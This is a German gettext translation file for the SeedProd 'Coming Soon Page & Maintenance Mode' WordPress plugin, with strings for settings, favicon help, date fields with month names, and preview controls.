msgid "Favicons are displayed in a browser tab. Need Help <a href=\"http://tools.dynamicdrive.com/favicon/\" target=\"_blank\">creating a favicon</a>?"
msgstr "Favicons werden in einem Browser-Tab angezeigt. Brauchst du Hilfe beim <a href=\"http://tools.dynamicdrive.com/favicon/\" target=\"_blank\">Erstellen eines Favicons (engl.)</a>?"

#: inc/config-settings.php:325
msgid "Enable Well"
msgstr "Box aktivieren"

#: inc/config-settings.php:236
msgid "Scale the background image to be as large as possible so that the background area is completely covered by the background image. Some parts of the background image may not be in view within the background positioning area."
msgstr "Skaliere das Hintergrundbild, damit es so groß wie möglich ist, sodass der Hintergrundbereich komplett vom Hintergrundbild abgedeckt wird. Einige Teile des Hintergrunds können nicht in der Ansicht des Hintergrund-Positionsbereichs sein."

#: framework/framework.php:140
msgid "Settings reset."
msgstr "Einstellungen zurückgesetzt."

#: framework/field-types/daterange.php:22
msgid "Start Date"
msgstr "Startdatum"

#: framework/field-types/daterange.php:35
msgid "End Date"
msgstr "Enddatum"

#: framework/field-types/daterange.php:8 framework/field-types/date.php:8
msgid "01-Jan"
msgstr "01-Jan"

#: framework/field-types/daterange.php:9 framework/field-types/date.php:9
msgid "02-Feb"
msgstr "02-Feb"

#: framework/field-types/daterange.php:10 framework/field-types/date.php:10
msgid "03-Mar"
msgstr "03-März"

#: framework/field-types/daterange.php:11 framework/field-types/date.php:11
msgid "04-Apr"
msgstr "04-Apr"

#: framework/field-types/daterange.php:12 framework/field-types/date.php:12
msgid "05-May"
msgstr "05-Mai"

#: framework/field-types/daterange.php:18 framework/field-types/date.php:18
msgid "11-Nov"
msgstr "11-Nov"

#: framework/field-types/daterange.php:19 framework/field-types/date.php:19
msgid "12-Dec"
msgstr "12-Dez"

#: framework/field-types/daterange.php:29
#: framework/field-types/daterange.php:42 framework/field-types/date.php:29
msgid "day"
msgstr "Tag"

#: framework/field-types/daterange.php:32
#: framework/field-types/daterange.php:45 framework/field-types/date.php:32
msgid "year"
msgstr "Jahr"

#: framework/field-types/upload.php:12
msgid "Media Image Library"
msgstr "Bilderbibliothek"

#: framework/framework.php:374
msgid "Live Preview"
msgstr "Live Vorschau"

#: framework/field-types/daterange.php:13 framework/field-types/date.php:13
msgid "06-Jun"
msgstr "06-Jun"

#: framework/field-types/daterange.php:14 framework/field-types/date.php:14
msgid "07-Jul"
msgstr "07-Jul"

#: framework/field-types/daterange.php:15 framework/field-types/date.php:15
msgid "08-Aug"
msgstr "08-Aug"

#: framework/field-types/daterange.php:16 framework/field-types/date.php:16
msgid "09-Sep"
msgstr "09-Sep"

#: framework/field-types/daterange.php:17 framework/field-types/date.php:17
msgid "10-Oct"
msgstr "10-Okt"

#: framework/framework.php:374
msgid "&larr; Close Window"
msgstr "&larr; Fenster schließen"

#: coming-soon.php:22
msgid "Coming Soon Page & Maintenance Mode by SeedProd"
msgstr "Coming Soon Page & Maintenance Mode by SeedProd"

Samx